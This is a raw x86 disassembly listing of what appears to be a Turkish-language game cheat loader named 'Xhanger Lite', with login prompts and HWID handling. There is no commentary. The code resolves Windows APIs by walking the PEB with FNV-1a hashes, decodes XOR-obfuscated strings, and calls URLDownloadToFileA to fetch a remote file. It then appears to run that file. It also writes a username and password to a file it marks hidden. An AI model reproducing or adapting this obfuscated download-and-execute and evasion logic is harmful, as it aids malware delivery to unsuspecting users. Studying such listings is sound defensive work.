movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x425f26
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x83b8d5ab
mov esi, dword [eax + 0x18]
je 0x425f5e
mov ecx, dword [ebp - 0x380]
test edi, edi
jne 0x425f00
mov eax, dword [eax]
jmp 0x425ed0
mov eax, dword [ebp - 0x374]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov ecx, dword [ecx + eax*4]
add ecx, esi
mov dword [0x4dafd4], ecx
cvttss2si eax, dword [0x4d912c]
push ebx
push 0x12c
push 0x1f4
push eax
cvttss2si eax, dword [0x4d9128]
push eax
push ebx
push dword [ebp - 0x334]
call ecx
mov eax, dword [0x4d8ff8]
xor ecx, ecx
movss xmm0, dword [0x4ce85c]
inc ecx
movss xmm1, dword [0x4ce854]
or dword [eax + 0x1a78], 2
movss dword [eax + 0x1a98], xmm0
movss xmm0, dword [ebp - 0x37c]
movss dword [eax + 0x1a9c], xmm1
mov dword [eax + 0x1a80], ecx
or dword [eax + 0x1a78], ecx
shufps xmm0, xmm0, 0
movups xmmword [eax + 0x1a88], xmm0
mov dword [eax + 0x1a7c], ecx
call fcn.00422cc9
call fcn.00422d1d
movaps xmm0, xmmword [0x4cea00]
mov ecx, ebx
movups xmmword [ebp - 0x5cc], xmm0
mov byte [ebp - 0x5bc], bl
mov al, byte [ebp - 0x5cc]
xor byte [ebp + ecx - 0x5cb], al
inc ecx
cmp ecx, 0xf
jb 0x426017
push 0x13f
lea edx, [ebp - 0x119]
mov byte [ebp - 0x5bc], bl
lea ecx, [ebp - 0x5cb]
call fcn.0040a055
pop ecx
lea ecx, [ebp - 0x12c]
call fcn.0040c630
mov eax, dword [0x4d8ff8]
movss xmm0, dword [ebp - 0x12c]
mov eax, dword [eax + 0x19f8]
addss xmm0, dword [eax + 0xc]
movss xmm1, dword [eax + 0x10]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [ebp - 0x128]
addss xmm0, xmm1
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x4ce84c]
call fcn.0040c720
mov esi, dword [ebp - 0x410]
test esi, esi
jne 0x426596
mov ecx, dword [ebp - 0x4ec]
call fcn.0040c01a
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x5e4], 0x430c0000
mov dword [ebp - 0x5e0], 0x42d20000
call fcn.0040c66b
push str.Kullanici_adi:
call fcn.0041cd5d
lea ecx, [ebp - 0x5dc]
mov dword [ebp - 0x5dc], 0x430c0000
mov dword [ebp - 0x5d8], 0x431b0000
call fcn.0040c66b
mov dword [esp], str.Sifre:
call fcn.0041cd5d
call fcn.0040c07f
mov ecx, dword [ebp - 0x378]
call fcn.0040c01a
lea ecx, [ebp - 0x60c]
mov dword [ebp - 0x60c], 0x43470000
mov dword [ebp - 0x608], 0x41a00000
call fcn.0040c66b
mov dword [esp], str.Giris
call fcn.0041cd5d
push 7
mov edx, 0x78000000
pop ecx
call fcn.0040c0c4
mov ecx, dword [ebp - 0x4f0]
call fcn.0040c01a
lea ecx, [ebp - 0x604]
mov dword [ebp - 0x604], 0x430c0000
mov dword [ebp - 0x600], 0x42f00000
call fcn.0040c66b
push ebx
push ebx
push ebx
lea eax, [ebp - 0x614]
mov dword [ebp - 0x614], 0x43540000
push eax
push 0x20
push str.Kullanici_Adi
xor edx, edx
mov dword [ebp - 0x610], 0x41d00000
mov ecx, str.RenderUsername
call fcn.0041f3fc
lea ecx, [ebp - 0x61c]
mov dword [ebp - 0x61c], 0x430c0000
mov dword [ebp - 0x618], 0x432a0000
call fcn.0040c66b
push ebx
push ebx
push 0x8000
lea eax, [ebp - 0x624]
mov dword [ebp - 0x624], 0x43540000
push eax
push 0x20
push str.Sifre
xor edx, edx
mov dword [ebp - 0x620], 0x41d00000
mov ecx, str.RenderPassword
call fcn.0041f3fc
add esp, 0x34
xor ecx, ecx
inc ecx
call fcn.0040c1f5
lea ecx, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x43480000
mov dword [ebp - 0x628], 0x434d0000
call fcn.0040c66b
mov ecx, dword [ebp - 0x408]
call fcn.0040c01a
push 0x15
mov edx, 0x96000000
pop ecx
call fcn.0040c0c4
push 0x16
mov edx, 0xb9000000
pop ecx
call fcn.0040c0c4
mov edx, 0xd2000000
push 0x17
pop ecx
call fcn.0040c0c4
mov dword [ebp - 0x634], 0x42c80000
mov cl, 0x78
mov dword [ebp - 0x630], 0x420c0000
mov eax, ebx
mov dword [ebp - 0x3d4], 0xa113f78
mov dword [ebp - 0x3d0], 0x21580b11
mov word [ebp - 0x3cc], 0x819
mov byte [ebp - 0x3ca], bl
xor byte [ebp + eax - 0x3d3], cl
inc eax
cmp eax, 9
jae 0x4262a8
mov cl, byte [ebp - 0x3d4]
jmp 0x426293
push ebx
lea edx, [ebp - 0x634]
mov byte [ebp - 0x3ca], bl
lea ecx, [ebp - 0x3d3]
call fcn.0041d340
pop ecx
test al, al
je 0x426307
push 0x4cd620
lea ecx, [ebp - 0x90c]
call fcn.00402b85
push eax
lea ecx, [ebp - 0x174]
call fcn.0042a39f
mov bl, al
lea ecx, [ebp - 0x90c]
mov byte [ebp - 4], 0xf
call fcn.00402ba8
mov byte [ebp - 4], 0xe
test bl, bl
je 0x42639e
mov byte [0x4d910d], 1
xor ebx, ebx
xor edx, edx
mov ecx, str.GUID_Copied
call fcn.0040d3bf
test al, al
je 0x426327
push str.HWID_panoya_kopyaland_
call fcn.0041cd5d
pop ecx
call fcn.0040d3f5
lea ecx, [ebp - 0x63c]
mov dword [ebp - 0x63c], 0x43480000
mov dword [ebp - 0x638], 0x43750000
call fcn.0040c66b
mov dword [ebp - 0x5ec], 0x42c80000
mov cl, 0x51
mov dword [ebp - 0x5e8], 0x420c0000
mov eax, ebx
mov dword [ebp - 0x404], 0x18061951
mov dword [ebp - 0x400], 0x3e1a7115
mov dword [ebp - 0x3fc], 0x3d302821
mov word [ebp - 0x3f8], 0x30
xor byte [ebp + eax - 0x403], cl
inc eax
cmp eax, 0xc
jae 0x426535
mov cl, byte [ebp - 0x404]
jmp 0x426385
movaps xmm0, xmmword [0x4ce980]
xor ebx, ebx
mov dword [ebp - 0x4f4], ebx
mov ecx, ebx
movups xmmword [ebp - 0x5fc], xmm0
mov al, byte [ebp - 0x5fc]
xor byte [ebp + ecx - 0x5fb], al
inc ecx
cmp ecx, 0xe
jb 0x4263b6
movaps xmm0, xmmword [0x4cef00]
lea eax, [ebp - 0x5fb]
movups xmmword [ebp - 0x6b8], xmm0
mov ecx, ebx
mov byte [ebp - 0x5ed], bl
movaps xmm0, xmmword [0x4ceef0]
movups xmmword [ebp - 0x6a8], xmm0
mov dword [ebp - 0x4f8], eax
movaps xmm0, xmmword [0x4ceea0]
movups xmmword [ebp - 0x698], xmm0
mov dword [ebp - 0x678], 0x4f544f42
movaps xmm0, xmmword [0x4ceee0]
movups xmmword [ebp - 0x688], xmm0
mov dword [ebp - 0x674], 0x65c4f48
mov word [ebp - 0x670], 7
mov al, byte [ebp - 0x6b8]
xor byte [ebp + ecx - 0x6b7], al
inc ecx
cmp ecx, 0x48
jb 0x426432
lea eax, [ebp - 0x6b7]
mov byte [ebp - 0x66f], bl
mov dword [ebp - 0x774], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x778], ebx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x408], ecx
cmp ecx, esi
je 0x4264f8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4264f8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x378], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
mov byte [ebp - 0x369], cl
test cl, cl
mov ecx, dword [ebp - 0x378]
je 0x4264f4
mov cl, byte [ebp - 0x369]
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4264c7
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x23a979e4
mov esi, dword [eax + 0x18]
je 0x4264ff
mov ecx, dword [ebp - 0x378]
test edi, edi
jne 0x42648f
mov eax, dword [eax]
jmp 0x426469
mov edx, dword [ebp - 0x408]
push dword [ebp - 0x4f4]
push dword [ebp - 0x4f8]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
lea ecx, [ebp - 0x6b7]
push ecx
add eax, esi
push ebx
call eax
jmp 0x427278
push ebx
lea edx, [ebp - 0x5ec]
mov byte [ebp - 0x3f7], bl
lea ecx, [ebp - 0x403]
call fcn.0041d340
pop ecx
test al, al
je 0x426574
cmp dword [0x4d90d0], 0x10
mov ecx, 0x4d90bc
cmovae ecx, dword [0x4d90bc]
call fcn.00405be7
mov ecx, str.GUID_Copied
call fcn.0040d0aa
call fcn.0040c07f
xor ecx, ecx
inc ecx
call fcn.0040c1f5
xor ecx, ecx
inc ecx
call fcn.0040c1f5
xor ecx, ecx
inc ecx
call fcn.0040c1f5
jmp 0x426871
cmp esi, 1
jne 0x426871
mov ecx, dword [ebp - 0x378]
call fcn.0040c01a
lea ecx, [ebp - 0x644]
mov dword [ebp - 0x644], 0x43470000
mov dword [ebp - 0x640], 0x41a00000
call fcn.0040c66b
push str.CHEAT
call fcn.0041cd5d
call fcn.0040c07f
mov ecx, dword [ebp - 0x388]
call fcn.0040c01a
movss xmm0, dword [0x4ce83c]
call fcn.0040c720
call fcn.0040c7a3
sub esp, 0x14
mov edx, str.Username_:
mov ecx, esp
push 0x4d90d4
call fcn.004292a2
pop ecx
call fcn.00423af7
mov ecx, esp
mov edx, str.Email_:
push 0x4d908c
call fcn.004292a2
pop ecx
call fcn.00423af7
mov ecx, esp
push str.Xhanger_Litea_hos_geldin__
call fcn.00402b85
call fcn.00423af7
add esp, 0x18
call fcn.0040c8b1
call fcn.0040c07f
movss xmm0, dword [0x4ce848]
call fcn.0040c6df
mov ecx, dword [ebp - 0x388]
call fcn.0040c01a
movaps xmm0, xmmword [0x4ced70]
lea edx, [ebp - 0x87c]
xor ecx, ecx
movups xmmword [ebp - 0x87c], xmm0
call fcn.0040c1ae
mov dword [ebp - 0x5d4], 0x43480000
mov cl, 0x1e
mov dword [ebp - 0x5d0], 0x41f00000
mov eax, ebx
mov dword [ebp - 0x3b0], 0x7470571e
mov dword [ebp - 0x3ac], 0x3f6a7d7b
mov byte [ebp - 0x3a8], bl
xor byte [ebp + eax - 0x3af], cl
inc eax
cmp eax, 7
jae 0x4266be
mov cl, byte [ebp - 0x3b0]
jmp 0x4266a9
push ebx
lea edx, [ebp - 0x5d4]
mov byte [ebp - 0x3a8], bl
lea ecx, [ebp - 0x3af]
call fcn.0041d340
pop ecx
test al, al
je 0x426864
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xfa0
call esi
movaps xmm0, xmmword [0x4cef60]
mov ecx, ebx
movups xmmword [ebp - 0x554], xmm0
mov dword [ebp - 0x534], 0x7d6c7174
movaps xmm0, xmmword [0x4cead0]
movups xmmword [ebp - 0x544], xmm0
mov dword [ebp - 0x530], 0x7d727671
mov dword [ebp - 0x52c], 0x7d366c7b
mov word [ebp - 0x528], 0x7d60
mov byte [ebp - 0x526], bl
mov al, byte [ebp - 0x554]
xor byte [ebp + ecx - 0x553], al
inc ecx
cmp ecx, 0x2d
jb 0x426737
movaps xmm0, xmmword [0x4ce9a0]
mov ecx, ebx
mov byte [ebp - 0x526], bl
movups xmmword [ebp - 0x480], xmm0
mov dword [ebp - 0x470], 0x574a571c
mov byte [ebp - 0x46c], bl
mov al, byte [ebp - 0x480]
xor byte [ebp + ecx - 0x47f], al
inc ecx
cmp ecx, 0x13
jb 0x426770
push ebx
push ebx
lea eax, [ebp - 0x47f]
mov byte [ebp - 0x46c], bl
push eax
lea eax, [ebp - 0x553]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [0x4cee70]
mov ecx, ebx
movups xmmword [ebp - 0x498], xmm0
mov dword [ebp - 0x488], 0x1508155e
mov byte [ebp - 0x484], bl
mov al, byte [ebp - 0x498]
xor byte [ebp + ecx - 0x497], al
inc ecx
cmp ecx, 0x13
jb 0x4267c0
lea eax, [ebp - 0x497]
mov byte [ebp - 0x484], bl
push eax
call fcn.00440410
mov dword [esp], 0xbb8
call esi
movaps xmm0, xmmword [0x4ce970]
mov ecx, ebx
movups xmmword [ebp - 0x524], xmm0
mov dword [ebp - 0x514], 0x4b564b
mov al, byte [ebp - 0x524]
xor byte [ebp + ecx - 0x523], al
inc ecx
cmp ecx, 0x12
jb 0x426808
lea eax, [ebp - 0x523]
mov byte [ebp - 0x511], bl
push eax
call fcn.0043f5e2
pop ecx
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0x10
call fcn.00402ba8
lea ecx, [ebp - 0x330]
call fcn.0042727f
lea ecx, [ebp - 0x174]
mov dword [ebp - 4], 0x11
call fcn.00402ba8
xor eax, eax
call fcn.0043280f
ret 0x10
xor ecx, ecx
inc ecx
call fcn.0040c1f5
call fcn.0040c07f
cmp byte [0x4d910d], 0
je 0x426bb0
push str.Sifre
lea ecx, [ebp - 0x8ac]
call fcn.00402b85
push str.Kullanici_Adi
lea ecx, [ebp - 0x894]
mov byte [ebp - 4], 0x12
call fcn.00402b85
push str.discordloader
lea ecx, [ebp - 0x86c]
mov byte [ebp - 4], 0x13
call fcn.00402b85
push 0x4d90bc
lea eax, [ebp - 0x8ac]
mov byte [ebp - 4], 0x14
push eax
lea eax, [ebp - 0x894]
push eax
lea edx, [ebp - 0x86c]
lea ecx, [ebp - 0x924]
call fcn.00423bb9
add esp, 0xc
mov ecx, 0x4d7b4c
push eax
call fcn.004274bc
lea ecx, [ebp - 0x924]
call fcn.00402b80
lea ecx, [ebp - 0x86c]
call fcn.00402b80
lea ecx, [ebp - 0x894]
call fcn.00402b80
lea ecx, [ebp - 0x8ac]
call fcn.00402b80
mov ecx, 0x4d7b4c
call fcn.0042741a
push ebx
push 1
sub esp, 0x28
mov dword [ebp - 0x338], eax
mov ecx, esp
mov byte [ebp - 4], 0x15
push ebx
call fcn.00427355
lea edx, [ebp - 0x338]
lea ecx, [ebp - 0x15c]
call fcn.004291e8
add esp, 0x30
push str.success
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 0x16
call fcn.004293b2
mov edx, 0x4cc3a8
mov ecx, eax
call fcn.004293d2
test al, al
je 0x426a8c
push str.Success
lea ecx, [ebp - 0x8c4]
call fcn.00402b85
push str.message
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 0x17
call fcn.004293b2
lea ecx, [ebp - 0xa14]
push ecx
mov ecx, eax
call fcn.00429462
push eax
mov edx, 0x4cd710
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x93c]
call fcn.00429306
pop ecx
mov edx, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x8c4]
call fcn.00423b61
lea ecx, [ebp - 0x93c]
call fcn.00402b80
lea ecx, [ebp - 0xa14]
call fcn.00402b80
lea ecx, [ebp - 0x8c4]
mov byte [ebp - 4], 0x16
call fcn.00402b80
xor esi, esi
lea ecx, [ebp - 0x278]
inc esi
push 0xb0
mov dword [ebp - 0x410], esi
call fcn.00427317
push esi
lea ecx, [ebp - 0x278]
call fcn.004275f1
push 0x40
push 2
mov esi, str.C:Xhangerdata.txt
mov byte [ebp - 4], 0x1a
push esi
lea ecx, [ebp - 0x278]
call fcn.00427565
mov edx, str.Kullanici_Adi
lea ecx, [ebp - 0x278]
call fcn.00429477
push fcn.004295ff
lea ecx, [ebp - 0x278]
call fcn.00427faa
mov edx, str.Sifre
lea ecx, [ebp - 0x278]
call fcn.00429477
lea ecx, [ebp - 0x278]
call fcn.00427533
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x278]
call fcn.004272cb
jmp 0x426b06
push str.Error
lea ecx, [ebp - 0x8dc]
call fcn.00402b85
push str.message
lea ecx, [ebp - 0x15c]
mov byte [ebp - 4], 0x1b
call fcn.004293b2
lea ecx, [ebp - 0x99c]
push ecx
mov ecx, eax
call fcn.00429462
push eax
mov edx, 0x4cd728
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x96c]
call fcn.00429306
pop ecx
mov edx, eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x8dc]
call fcn.00423b61
lea ecx, [ebp - 0x96c]
call fcn.00402b80
lea ecx, [ebp - 0x99c]
call fcn.00402b80
lea ecx, [ebp - 0x8dc]
call fcn.00402b80
lea ecx, [ebp - 0x15c]
call fcn.0042735e
mov dword [ebp - 4], 0xe
jmp 0x426baa
mov byte [0x4d910d], bl
call fcn.0040bbc3
call fcn.004076c3
mov eax, dword [0x4d9038]
push ebx
push 7
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x4d9038]
push ebx
push 0x1b
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x4d9038]
push ebx
push 0xae
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe4]
mov eax, dword [0x4d9038]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa4]
test eax, eax
js 0x426c21
call fcn.004078fa
call fcn.00405c8a
mov ecx, eax
call fcn.0041ba48
mov eax, dword [0x4d9038]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
mov eax, dword [0x4d9038]
push ebx
push ebx
push ebx
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x44]
cmp eax, 0x88760868
jne 0x426c63
mov eax, dword [0x4d9038]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
cmp eax, 0x88760869
jne 0x426c63
call fcn.0041c06a
mov eax, dword [0x4d9038]
push 0x4d8ffc
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
call fcn.0041c052
mov eax, dword [0x4dafb8]
test eax, eax
jne 0x426d2a
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x426d03
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x426d03
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x380], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x426cf9
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x426cd2
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x1bad7009
mov esi, dword [eax + 0x18]
je 0x426d0a
mov ecx, dword [ebp - 0x380]
test edi, edi
jne 0x426cac
mov eax, dword [eax]
jmp 0x426c7c
mov edx, dword [ebp - 0x374]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4dafb8], eax
lea ecx, [ebp - 0x134]
push ecx
call eax
mov eax, dword [0x4dafdc]
test eax, eax
jne 0x426dfa
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x426dd3
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x426dd3
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x380], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x426dc9
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x426da2
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x95466b05
mov esi, dword [eax + 0x18]
je 0x426dda
mov ecx, dword [ebp - 0x380]
test edi, edi
jne 0x426d7c
mov eax, dword [eax]
jmp 0x426d4c
mov edx, dword [ebp - 0x374]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4dafdc], eax
push 1
call eax
test ax, ax
je 0x426f24
mov eax, dword [0x4dafbc]
test eax, eax
jne 0x426ece
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x380], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x374], ecx
cmp ecx, esi
je 0x426ea7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x426ea7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x380], ecx
mov edx, dword [ecx]
mov ecx, 0x811c9dc5
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x426e9d
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x426e76
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x8fe07322
mov esi, dword [eax + 0x18]
je 0x426eae
mov ecx, dword [ebp - 0x380]
test edi, edi
jne 0x426e50
mov eax, dword [eax]
jmp 0x426e20
mov edx, dword [ebp - 0x374]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
mov dword [0x4dafbc], eax
call eax
cmp eax, dword [ebp - 0x334]
jne 0x426f24
mov ecx, dword [ebp - 0x134]
mov eax, ecx
sub eax, dword [ebp - 0x124]
mov edx, dword [ebp - 0x130]
movd xmm0, eax
mov eax, edx
sub eax, dword [ebp - 0x120]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [0x4d9128]
movss dword [0x4d9128], xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, dword [0x4d912c]
movss dword [0x4d912c], xmm0
jmp 0x426f30
mov edx, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], edx
jmp 0x425ad9
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x425e27
mov eax, dword [eax]
jmp 0x425def
call fcn.0041bf0e
call fcn.0041c1b6
xor ecx, ecx
call fcn.00405c52
mov ecx, dword [0x4d9038]
test ecx, ecx
je 0x426f7d
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4d9038], ebx
mov ecx, dword [0x4d9034]
test ecx, ecx
je 0x426f93
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x4d9034], ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x18]
mov ecx, dword [edi + 0x3c]
mov edx, dword [ecx + edi + 0x78]
mov ecx, dword [ecx + edi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + edi]
mov dword [ebp - 0x388], ecx
cmp ecx, edi
je 0x42701a
mov esi, dword [ecx + 0x18]
test esi, esi
je 0x42701a
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + esi*4]
add ebx, edi
lea ebx, [ebx - 4]
mov ecx, 0x811c9dc5
mov edx, dword [ebx]
dec esi
add edx, edi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x427016
mov edi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, edi
imul edi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x426fef
mov dword [ebp - 0x370], edi
cmp dword [ebp - 0x370], 0x94c486dd
mov edi, dword [eax + 0x18]
je 0x42701e
test esi, esi
jne 0x426fcf
mov eax, dword [eax]
jmp 0x426f9f
mov edx, dword [ebp - 0x388]
mov eax, dword [edx + 0x24]
lea eax, [eax + esi*2]
movzx ecx, word [eax + edi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edi]
lea ecx, [ebp - 0x334]
add esi, edi
call fcn.0042929f
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x388], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x388], ecx
cmp ecx, esi
je 0x4270cf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4270cf
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ebx, [ebx - 4]
mov ecx, 0x811c9dc5
mov edx, dword [ebx]
dec edi
add edx, esi
mov dword [ebp - 0x370], ecx
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4270cb
mov esi, dword [ebp - 0x370]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4270a4
mov dword [ebp - 0x370], esi
cmp dword [ebp - 0x370], 0x5e93403c
mov esi, dword [eax + 0x18]
je 0x4270d3
test edi, edi
jne 0x427084
mov eax, dword [eax]
jmp 0x427054
mov edx, dword [ebp - 0x388]
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [ebp - 0x354]
add edi, esi
call fcn.0042929f
lea ecx, [ebp - 0x340]
mov esi, dword [eax]
call fcn.0042929f
push esi
push dword [eax]
call edi
lea ecx, [ebp - 0x14c]
call fcn.00402b80
lea ecx, [ebp - 0x330]
call fcn.0042727f
lea ecx, [ebp - 0x174]
call fcn.00402b80
jmp 0x42685a
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x425a46
mov eax, dword [eax]
jmp 0x425a0e
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x425962
mov eax, dword [eax]
jmp 0x42592a
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x425895
mov eax, dword [eax]
jmp 0x42585d
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x4252ee
mov eax, dword [eax]
jmp 0x4252b6
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x424f79
mov eax, dword [eax]
jmp 0x424f41
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x424c90
mov eax, dword [eax]
jmp 0x424c58
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x424a26
mov eax, dword [eax]
jmp 0x4249ee
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x42495b
mov eax, dword [eax]
jmp 0x424923
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x424883
mov eax, dword [eax]
jmp 0x42484b
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x424769
mov eax, dword [eax]
jmp 0x424731
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x424645
mov eax, dword [eax]
jmp 0x42460d
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x424527
mov eax, dword [eax]
jmp 0x4244ef
mov ecx, dword [ebp - 0x374]
test edi, edi
jne 0x424410
mov eax, dword [eax]
jmp 0x4243d8
call fcn.0043249c
mov edx, dword [ebp - 0x374]
push 0x10
push ebx
mov eax, dword [edx + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
lea ecx, [ebp - 0x66b]
add eax, esi
push ecx
push ebx
call eax
jmp 0x427273
xor ebx, ebx
call fcn.004237b2
push ebx
call fcn.00437039
int3